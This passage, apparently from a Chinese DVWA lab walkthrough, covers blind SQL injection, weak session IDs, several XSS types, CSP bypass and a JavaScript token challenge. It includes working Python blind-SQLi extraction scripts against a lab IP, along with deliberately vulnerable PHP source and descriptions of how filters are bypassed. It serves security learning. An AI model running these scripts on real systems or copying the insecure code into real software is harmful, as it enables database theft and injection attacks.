for times in range(1,88):max=128min=0mid=(max+min)//2while min<max:url = 'http://121.199.77.45/vulnerabilities/sqli_blind/?id='#payload=f"1'%20and%20if((ascii(substr((select%20database())%2c{times}%2c1))%3e{mid})%2c1%2c0)%23" 爆数据库#payload=f"1'+and+if(ascii(substr((select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3Ddatabase())%2C{times}%2C1))>{mid}%2C1%2C0)%23" #爆表payload = f"1'+and+if(ascii(substr((select+group_concat(column_name)+from+information_schema.columns+where+table_name%3D'users')%2C{times}%2C1))>{mid}%2C1%2C0)%23" #爆字段payload = f"1'+and+if(ascii(substr((select+group_concat(first_name)+from+dvwa.users)%2C{times}%2C1))>{mid}%2C1%2C0)%23" #爆数据url=url+payload+lastresp=s.get(url,headers=headers)if 'User ID exists in the database.' in resp.text:min = mid + 1else:max = midmid=(min+max)//2result += chr(min)print(result)

在这里插入图片描述

源码:

<?phpif( isset( $_GET[ 'Submit' ] ) ) {// Get input$id = $_GET[ 'id' ];$exists = false;switch ($_DVWA['SQLI_DB']) {case MYSQL:// Check database$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors$exists = false;if ($result !== false) {try {$exists = (mysqli_num_rows( $result ) > 0);} catch(Exception $e) {$exists = false;}}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);break;case SQLITE:global $sqlite_db_connection;$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";try {$results = $sqlite_db_connection->query($query);$row = $results->fetchArray();$exists = $row !== false;} catch(Exception $e) {$exists = false;}break;}if ($exists) {// Feedback for end user$html .= '<pre>User ID exists in the database.</pre>';} else {// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end user$html .= '<pre>User ID is MISSING from the database.</pre>';}}?>

跟普通的low级别意义,只不过隔绝了返回的信息,成功则返回存在,使得要使用时间或者其它盲注。

2、Medium

在这里插入图片描述
在这里插入图片描述

发现0和1返回的结果不一样,直接上脚本

import time
import requestsurl = 'http://121.199.77.45/vulnerabilities/sqli_blind/'
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0','Cookie': 'PHPSESSID=bqjapbi0r6fs9aemuhkc2svn81; security=medium'
}
flag = ''
for i in range(1, 100):min = 1max = 130mid = int((min + max) / 2)while min < max:data = {"id": f'1^if(ascii(substr((select(database())),{i},1))>{mid},0,1)','Submit': 'Submit'}resp = requests.post(url, headers=headers, data=data)if 'User ID is MISSING from the database.' in resp.text:max = midelse:min = mid + 1mid = (min + max) // 2flag += chr(mid)print(flag)

在这里插入图片描述

源码和上面的medium意义的,只是返回的结果统一。1

3、High

直接脚本:

import time
import requestsurl = 'http://121.199.77.45/vulnerabilities/sqli_blind/'
flag = ''
for i in range(1, 100):min = 1max = 130mid = int((min + max) / 2)while min < max:payload=f"id=1'%20and%20if((ascii(substr((select%20database())%2C{i}%2C1))%3E{mid})%2C1%2C0)%23;"headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0','Cookie':payload+' PHPSESSID=bqjapbi0r6fs9aemuhkc2svn81; security=high'}resp = requests.post(url, headers=headers)if 'User ID is MISSING from the database.' in resp.text:max = midelse:min = mid + 1mid = (min + max) // 2flag += chr(mid)print(flag)

在这里插入图片描述

原本想着需要写个脚本先访问弹窗页,然后再带Cookie访问返回页,测试了下发现,直接更改主页Cookie即可,因为弹窗页的作业就是发送Set-Cookie更改主页Cookie,从Cookie中取id数据查询的。

源码:

<?phpif( isset( $_COOKIE[ 'id' ] ) ) {// Get input$id = $_COOKIE[ 'id' ];$exists = false;switch ($_DVWA['SQLI_DB']) {case MYSQL:// Check database$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors$exists = false;if ($result !== false) {// Get resultstry {$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors} catch(Exception $e) {$exists = false;}}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);break;case SQLITE:global $sqlite_db_connection;$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";try {$results = $sqlite_db_connection->query($query);$row = $results->fetchArray();$exists = $row !== false;} catch(Exception $e) {$exists = false;}break;}if ($exists) {// Feedback for end user$html .= '<pre>User ID exists in the database.</pre>';}else {// Might sleep a random amountif( rand( 0, 5 ) == 3 ) {sleep( rand( 2, 4 ) );}// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end user$html .= '<pre>User ID is MISSING from the database.</pre>';}
}?>

4、Impossible

源码:

<?phpif( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );$exists = false;// Get input$id = $_GET[ 'id' ];// Was a number entered?if(is_numeric( $id )) {$id = intval ($id);switch ($_DVWA['SQLI_DB']) {case MYSQL:// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();$exists = $data->rowCount();break;case SQLITE:global $sqlite_db_connection;$stmt = $sqlite_db_connection->prepare('SELECT COUNT(first_name) AS numrows FROM users WHERE user_id = :id LIMIT 1;' );$stmt->bindValue(':id',$id,SQLITE3_INTEGER);$result = $stmt->execute();$result->finalize();if ($result !== false) {// There is no way to get the number of rows returned// This checks the number of columns (not rows) just// as a precaution, but it won't stop someone dumping// multiple rows and viewing them one at a time.$num_columns = $result->numColumns();if ($num_columns == 1) {$row = $result->fetchArray();$numrows = $row[ 'numrows' ];$exists = ($numrows == 1);}}break;}}// Get resultsif ($exists) {// Feedback for end user$html .= '<pre>User ID exists in the database.</pre>';} else {// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end user$html .= '<pre>User ID is MISSING from the database.</pre>';}
}// Generate Anti-CSRF token
generateSessionToken();?>

增加了token,并且id必须是整数,而且使用了预编译,返回的报错结果也统一,防止了sql注入。

八、Weak Session IDs

1、Low

源码:

<?php$html = "";if ($_SERVER['REQUEST_METHOD'] == "POST") {if (!isset ($_SESSION['last_session_id'])) {$_SESSION['last_session_id'] = 0;}$_SESSION['last_session_id']++;$cookie_value = $_SESSION['last_session_id'];setcookie("dvwaSession", $cookie_value);
}
?>

使用post请求,没有Session则先置0,并返回给客户端,每请求一次,dvwaSession的值+1,不安全因为Session的太容易猜测了

2、Medium

源码:

<?php$html = "";if ($_SERVER['REQUEST_METHOD'] == "POST") {$cookie_value = time();setcookie("dvwaSession", $cookie_value);
}
?>

以time()时间来作为session,不安全,因为time()产生的数字比较短,而且很容易就能看出来是time()函数的结果,在一定时间内是可以进行爆破的。

3、High

源码:

<?php$html = "";if ($_SERVER['REQUEST_METHOD'] == "POST") {if (!isset ($_SESSION['last_session_id_high'])) {$_SESSION['last_session_id_high'] = 0;}$_SESSION['last_session_id_high']++;$cookie_value = md5($_SESSION['last_session_id_high']);setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}?>

这里的Cookie的值为md5加密的自增整数值,并且设置了有效期是1小时,规定了服务器路径和域名,但是依旧太简单了,有规律,太容易被破解了,md5好歹加下盐什么的吧。

4、Impossible

<?php$html = "";if ($_SERVER['REQUEST_METHOD'] == "POST") {$cookie_value = sha1(mt_rand() . time() . "Impossible");setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>

这个Cookie就比较安全,拼接了随机数+时间+自定义字符串,使用sha-1加密,在不知道随机数种子和自定义字符串的情况下,想要1小时内爆破,几乎不可能。

九、XSS(DOM)

1、Low

在这里插入图片描述
源码:

<script>if (document.location.href.indexOf("default=") >= 0) {var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");document.write("<option value='' disabled='disabled'>----</option>");}document.write("<option value='English'>English</option>");document.write("<option value='French'>French</option>");document.write("<option value='Spanish'>Spanish</option>");document.write("<option value='German'>German</option>");
</script>	

直接将default后面的数据插入了HTML页面中

2、Medium

在这里插入图片描述

源码:

<?php// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {$default = $_GET['default'];# Do not allow script tagsif (stripos ($default, "<script") !== false) {header ("location: ?default=English");exit;}
}?>

在后端对<script做个限制,数据不发送到后端不就可以了吗

3、High

源码:

<?php// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {# White list the allowable languagesswitch ($_GET['default']) {case "French":case "English":case "German":case "Spanish":# okbreak;default:header ("location: ?default=English");exit;}
}?>

白名单进行过滤,继续用medium的就行,default数据不发送到后端。
在这里插入图片描述

4、Impossible

if (document.location.href.indexOf("default=") >= 0) {var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);document.write("<option value='" + lang + "'>" + (lang) + "</option>");document.write("<option value='' disabled='disabled'>----</option>");}document.write("<option value='English'>English</option>");document.write("<option value='French'>French</option>");document.write("<option value='Spanish'>Spanish</option>");document.write("<option value='German'>German</option>");

对获取到的数据不进行URL解码,而我们GET请求URL中的数据是URL编码过的,相当于使用了编码防止。

十、XSS(Reflected)

1、Low

##
源码:

<?phpheader ("X-XSS-Protection: 0");// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end user$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}?>

关闭了XSS保护,而且将name参数直接拼接到了页面导致的。

2、Medium

在这里插入图片描述
源码:

<?phpheader ("X-XSS-Protection: 0");// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = str_replace( '<script>', '', $_GET[ 'name' ] );// Feedback for end user$html .= "<pre>Hello ${name}</pre>";
}?>

只是将"script"替换成空而已,触发的方式还很多。

3、High

在这里插入图片描述
源码:

<?phpheader ("X-XSS-Protection: 0");// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );// Feedback for end user$html .= "<pre>Hello ${name}</pre>";
}?>

对script过滤更加严格了,不用这个标签就好了。

4、Impossiblle

源码:

<?php// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$name = htmlspecialchars( $_GET[ 'name' ] );// Feedback for end user$html .= "<pre>Hello ${name}</pre>";
}// Generate Anti-CSRF token
generateSessionToken();?>

关键是通过htmlspecialchars把括号,单双引号,取地址符转义成了HTML实体,浏览器就不会当成HTML的元素,有效。

十一、XSS(Stored)

1、Low

在这里插入图片描述
源码:

<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name    = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = stripslashes( $message );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Sanitize name input$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Update database$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );//mysql_close();
}?>

对messge和name数据去除两端空白字符后,然后插入了数据库,页面又从数据库直接取数据输出,导致了弹窗,并且一直存在。

2、Medium

在这里插入图片描述
在这里插入图片描述
源码:

<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name    = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = strip_tags( addslashes( $message ) );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$message = htmlspecialchars( $message );// Sanitize name input$name = str_replace( '<script>', '', $name );$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Update database$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );//mysql_close();
}?>

对message的内容进行了转义,但是对name的没有,只是过滤了script

3、High

在这里插入图片描述
源码:

<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name    = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = strip_tags( addslashes( $message ) );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$message = htmlspecialchars( $message );// Sanitize name input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Update database$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );//mysql_close();
}?>

只是对name的内容做了更严格的script过滤,name依旧可以触发

4、Impossible

<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name    = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = stripslashes( $message );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$message = htmlspecialchars( $message );// Sanitize name input$name = stripslashes( $name );$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$name = htmlspecialchars( $name );// Update database$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );$data->bindParam( ':message', $message, PDO::PARAM_STR );$data->bindParam( ':name', $name, PDO::PARAM_STR );$data->execute();
}// Generate Anti-CSRF token
generateSessionToken();?>

对name和message都做了实体转义。

十二、 CSP Bypass

1、Low

源码:

<?php$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.header($headerCSP);# These might work if you can't create your own for some reason
# https://pastebin.com/raw/R570EE00
# https://www.toptal.com/developers/hastebin/raw/cezaruzeka?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST"><p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p><input size="50" type="text" name="include" value="" id="include" /><input type="submit" value="Include" />
</form>
';

只信任$headerCSP中的加载的资源,因此要从CSP域名中的资源中触发。

在这里插入图片描述
在这里插入图片描述

2、Medium

在这里插入图片描述
源码:

<?php$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";header($headerCSP);// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST"><p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p><input size="50" type="text" name="include" value="" id="include" /><input type="submit" value="Include" />
</form>
';

只允许nonce的特定的内敛脚本块,因此使用script要加上给出的nonce参数

3、High

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
源码:

<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";header($headerCSP);?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST"><p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p><p>1+2+3+4+5=<span id="answer"></span></p><input type="button" id="solve" value="Solve the sum" />
</form><script src="source/high.js"></script>
';
function clickButton() {var s = document.createElement("script");s.src = "source/jsonp.php?callback=solveSum";document.body.appendChild(s);
}function solveSum(obj) {if ("answer" in obj) {document.getElementById("answer").innerHTML = obj['answer'];}
}var solve_button = document.getElementById ("solve");if (solve_button) {solve_button.addEventListener("click", function() {clickButton();});
}
<?php
header("Content-Type: application/json; charset=UTF-8");if (array_key_exists ("callback", $_GET)) {$callback = $_GET['callback'];
} else {return "";
}$outp = array ("answer" => "15");echo $callback . "(".json_encode($outp).")";
?>

jsonp.php接受callback参数的,源代码中一旦点击solve即向jsonp.php发送callback为solveSum,jsonp.php返回solveSum({answer:15})触发js的solveSum函数获取15并嵌入页面。因此可以利用include接收内容,调用jsonp.php进行弹窗。

4、Impossible

<?php
header("Content-Type: application/json; charset=UTF-8");$outp = array ("answer" => "15");echo "solveSum (".json_encode($outp).")";
?>

直接将返回限制死为solveSum。

十三、JavaScript

1、Low

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

这里的token是前端利用加密生成的。

2、Medium

在这里插入图片描述
在这里插入图片描述

token只是用了换掉字符串顺序+XX的方法生成

3、High

在这里插入图片描述

JS混淆了,上百度找个解密工具

(function() {'use strict';var ERROR = 'input is invalid type';var WINDOW = typeof window === 'object';var root = WINDOW ? window : {};if (root.JS_SHA256_NO_WINDOW) {WINDOW = false}var WEB_WORKER = !WINDOW && typeof self === 'object';var NODE_JS = !root.JS_SHA256_NO_NODE_JS && typeof process === 'object' && process.versions && process.versions.node;if (NODE_JS) {root = global} else if (WEB_WORKER) {root = self}var COMMON_JS = !root.JS_SHA256_NO_COMMON_JS && typeof module === 'object' && module.exports;var AMD = typeof define === 'function' && define.amd;var ARRAY_BUFFER = !root.JS_SHA256_NO_ARRAY_BUFFER && typeof ArrayBuffer !== 'undefined';var HEX_CHARS = '0123456789abcdef'.split('');var EXTRA = [-2147483648, 8388608, 32768, 128];var SHIFT = [24, 16, 8, 0];var K = [0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2];var OUTPUT_TYPES = ['hex', 'array', 'digest', 'arrayBuffer'];var blocks = [];if (root.JS_SHA256_NO_NODE_JS || !Array.isArray) {Array.isArray = function(obj) {return Object.prototype.toString.call(obj) === '[object Array]'}}if (ARRAY_BUFFER && (root.JS_SHA256_NO_ARRAY_BUFFER_IS_VIEW || !ArrayBuffer.isView)) {ArrayBuffer.isView = function(obj) {return typeof obj === 'object' && obj.buffer && obj.buffer.constructor === ArrayBuffer}}var createOutputMethod = function(outputType, is224) {return function(message) {return new Sha256(is224, true).update(message)[outputType]()}};var createMethod = function(is224) {var method = createOutputMethod('hex', is224);if (NODE_JS) {method = nodeWrap(method, is224)}method.create = function() {return new Sha256(is224)};method.update = function(message) {return method.create().update(message)};for (var i = 0; i < OUTPUT_TYPES.length; ++i) {var type = OUTPUT_TYPES[i];method[type] = createOutputMethod(type, is224)}return method};var nodeWrap = function(method, is224) {var crypto = eval("require('crypto')");var Buffer = eval("require('buffer').Buffer");var algorithm = is224 ? 'sha224' : 'sha256';var nodeMethod = function(message) {if (typeof message === 'string') {return crypto.createHash(algorithm).update(message, 'utf8').digest('hex')} else {if (message === null || message === undefined) {throw new Error(ERROR)} else if (message.constructor === ArrayBuffer) {message = new Uint8Array(message)}}if (Array.isArray(message) || ArrayBuffer.isView(message) || message.constructor === Buffer) {return crypto.createHash(algorithm).update(new Buffer(message)).digest('hex')} else {return method(message)}};return nodeMethod};var createHmacOutputMethod = function(outputType, is224) {return function(key, message) {return new HmacSha256(key, is224, true).update(message)[outputType]()}};var createHmacMethod = function(is224) {var method = createHmacOutputMethod('hex', is224);method.create = function(key) {return new HmacSha256(key, is224)};method.update = function(key, message) {return method.create(key).update(message)};for (var i = 0; i < OUTPUT_TYPES.length; ++i) {var type = OUTPUT_TYPES[i];method[type] = createHmacOutputMethod(type, is224)}return method};function Sha256(is224, sharedMemory) {if (sharedMemory) {blocks[0] = blocks[16] = blocks[1] = blocks[2] = blocks[3] = blocks[4] = blocks[5] = blocks[6] = blocks[7] = blocks[8] = blocks[9] = blocks[10] = blocks[11] = blocks[12] = blocks[13] = blocks[14] = blocks[15] = 0;this.blocks = blocks} else {this.blocks = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]}if (is224) {this.h0 = 0xc1059ed8;this.h1 = 0x367cd507;this.h2 = 0x3070dd17;this.h3 = 0xf70e5939;this.h4 = 0xffc00b31;this.h5 = 0x68581511;this.h6 = 0x64f98fa7;this.h7 = 0xbefa4fa4} else {this.h0 = 0x6a09e667;this.h1 = 0xbb67ae85;this.h2 = 0x3c6ef372;this.h3 = 0xa54ff53a;this.h4 = 0x510e527f;this.h5 = 0x9b05688c;this.h6 = 0x1f83d9ab;this.h7 = 0x5be0cd19}this.block = this.start = this.bytes = this.hBytes = 0;this.finalized = this.hashed = false;this.first = true;this.is224 = is224}Sha256.prototype.update = function(message) {if (this.finalized) {return}var notString, type = typeof message;if (type !== 'string') {if (type === 'object') {if (message === null) {throw new Error(ERROR)} else if (ARRAY_BUFFER && message.constructor === ArrayBuffer) {message = new Uint8Array(message)} else if (!Array.isArray(message)) {if (!ARRAY_BUFFER || !ArrayBuffer.isView(message)) {throw new Error(ERROR)}}} else {throw new Error(ERROR)}notString = true}var code, index = 0,i, length = message.length,blocks = this.blocks;while (index < length) {if (this.hashed) {this.hashed = false;blocks[0] = this.block;blocks[16] = blocks[1] = blocks[2] = blocks[3] = blocks[4] = blocks[5] = blocks[6] = blocks[7] = blocks[8] = blocks[9] = blocks[10] = blocks[11] = blocks[12] = blocks[13] = blocks[14] = blocks[15] = 0}if (notString) {for (i = this.start; index < length && i < 64; ++index) {blocks[i >> 2] |= message[index] << SHIFT[i++ & 3]}} else {for (i = this.start; index < length && i < 64; ++index) {code = message.charCodeAt(index);if (code < 0x80) {blocks[i >> 2] |= code << SHIFT[i++ & 3]} else if (code < 0x800) {blocks[i >> 2] |= (0xc0 | (code >> 6)) << SHIFT[i++ & 3];blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3]} else if (code < 0xd800 || code >= 0xe000) {blocks[i >> 2] |= (0xe0 | (code >> 12)) << SHIFT[i++ & 3];blocks[i >> 2] |= (0x80 | ((code >> 6) & 0x3f)) << SHIFT[i++ & 3];blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3]} else {code = 0x10000 + (((code & 0x3ff) << 10) | (message.charCodeAt(++index) & 0x3ff));blocks[i >> 2] |= (0xf0 | (code >> 18)) << SHIFT[i++ & 3];blocks[i >> 2] |= (0x80 | ((code >> 12) & 0x3f)) << SHIFT[i++ & 3];blocks[i >> 2] |= (0x80 | ((code >> 6) & 0x3f)) << SHIFT[i++ & 3];blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3]}}}this.lastByteIndex = i;this.bytes += i - this.start;if (i >= 64) {this.block = blocks[16];this.start = i - 64;this.hash();this.hashed = true} else {this.start = i}}if (this.bytes > 4294967295) {this.hBytes += this.bytes / 4294967296 << 0;this.bytes = this.bytes % 4294967296}return this};Sha256.prototype.finalize = function() {if (this.finalized) {return}this.finalized = true;var blocks = this.blocks,i = this.lastByteIndex;blocks[16] = this.block;blocks[i >> 2] |= EXTRA[i & 3];this.block = blocks[16];if (i >= 56) {if (!this.hashed) {this.hash()}blocks[0] = this.block;blocks[16] = blocks[1] = blocks[2] = blocks[3] = blocks[4] = blocks[5] = blocks[6] = blocks[7] = blocks[8] = blocks[9] = blocks[10] = blocks[11] = blocks[12] = blocks[13] = blocks[14] = blocks[15] = 0}blocks[14] = this.hBytes << 3 | this.bytes >>> 29;blocks[15] = this.bytes << 3;this.hash()};Sha256.prototype.hash = function() {var a = this.h0,b = this.h1,c = this.h2,d = this.h3,e = this.h4,f = this.h5,g = this.h6,h = this.h7,blocks = this.blocks,j, s0, s1, maj, t1, t2, ch, ab, da, cd, bc;for (j = 16; j < 64; ++j) {t1 = blocks[j - 15];s0 = ((t1 >>> 7) | (t1 << 25)) ^ ((t1 >>> 18) | (t1 << 14)) ^ (t1 >>> 3);t1 = blocks[j - 2];s1 = ((t1 >>> 17) | (t1 << 15)) ^ ((t1 >>> 19) | (t1 << 13)) ^ (t1 >>> 10);blocks[j] = blocks[j - 16] + s0 + blocks[j - 7] + s1 << 0}bc = b & c;for (j = 0; j < 64; j += 4) {if (this.first) {if (this.is224) {ab = 300032;t1 = blocks[0] - 1413257819;h = t1 - 150054599 << 0;d = t1 + 24177077 << 0} else {ab = 704751109;t1 = blocks[0] - 210244248;h = t1 - 1521486534 << 0;d = t1 + 143694565 << 0}this.first = false} else {s0 = ((a >>> 2) | (a << 30)) ^ ((a >>> 13) | (a << 19)) ^ ((a >>> 22) | (a << 10));s1 = ((e >>> 6) | (e << 26)) ^ ((e >>> 11) | (e << 21)) ^ ((e >>> 25) | (e << 7));ab = a & b;maj = ab ^ (a & c) ^ bc;ch = (e & f) ^ (~e & g);t1 = h + s1 + ch + K[j] + blocks[j];t2 = s0 + maj;h = d + t1 << 0;d = t1 + t2 << 0}s0 = ((d >>> 2) | (d << 30)) ^ ((d >>> 13) | (d << 19)) ^ ((d >>> 22) | (d << 10));s1 = ((h >>> 6) | (h << 26)) ^ ((h >>> 11) | (h << 21)) ^ ((h >>> 25) | (h << 7));da = d & a;maj = da ^ (d & b) ^ ab;ch = (h & e) ^ (~h & f);t1 = g + s1 + ch + K[j + 1] + blocks[j + 1];t2 = s0 + maj;g = c + t1 << 0;c = t1 + t2 << 0;s0 = ((c >>> 2) | (c << 30)) ^ ((c >>> 